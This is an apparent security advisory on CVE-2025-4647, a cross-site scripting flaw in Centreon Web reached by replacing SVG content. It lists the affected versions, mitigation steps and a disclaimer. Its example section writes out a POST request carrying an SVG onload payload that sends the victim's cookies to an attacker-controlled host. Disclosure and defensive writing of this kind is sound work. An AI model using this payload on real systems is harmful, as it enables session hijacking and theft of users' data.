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CVE-2025-4647: Elevating Privileges through XSS Vulnerability in Centreon Web

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Overview

The CVE-2025-4647 is a Cross-site Scripting (XSS) vulnerability in Centreon Web. It’s a crucial cybersecurity issue that affects multiple versions of Centreon Web, a popular network monitoring tool. This vulnerability can be exploited by users with elevated privileges to bypass security measures, potentially leading to system compromise or data leakage. The importance of addressing this vulnerability cannot be overstated, as it poses a significant risk to the integrity of systems and sensitive data, potentially impacting businesses and organizations reliant on Centreon Web for network monitoring.

Vulnerability Summary

CVE ID: CVE-2025-4647
Severity: High (8.4 CVSS Score)
Attack Vector: Web-based (XSS)
Privileges Required: Elevated
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

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Product | Affected Versions

Centreon web | 24.10.0 – 24.10.4
Centreon web | 24.04.0 – 24.04.10
Centreon web | 23.10.0 – 23.10.21
Centreon web | 23.04.0 – 23.04.26
Centreon web | 22.10.0 – 22.10.28

How the Exploit Works

The XSS vulnerability in Centreon Web is a result of an improper neutralization of input during web page generation. This allows a user with elevated privileges to inject malicious scripts by replacing the content of an existing SVG. When these scripts are executed, they can lead to a variety of exploits, including data theft, session hijacking, or even full system compromise.

Conceptual Example Code

Below, a conceptual example of how this vulnerability could be exploited. The attacker injects malicious JavaScript into the SVG content.

POST /centreon/replaceSVG HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<svg onload="var xhr=new XMLHttpRequest();xhr.open('GET','http://attacker.com/steal.php?cookie='+document.cookie,false);xhr.send();">

In this example, the malicious script sends the user’s cookies to a server controlled by the attacker, potentially leading to session hijacking.

Mitigation

Users of Centreon Web are strongly advised to apply the vendor patch to fix the vulnerability. For the affected versions, Centreon has released patches that neutralize the vulnerability. As an interim measure, users can also use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) to mitigate the exploitation of this vulnerability. However, these should only be seen as temporary solutions until the patches can be applied.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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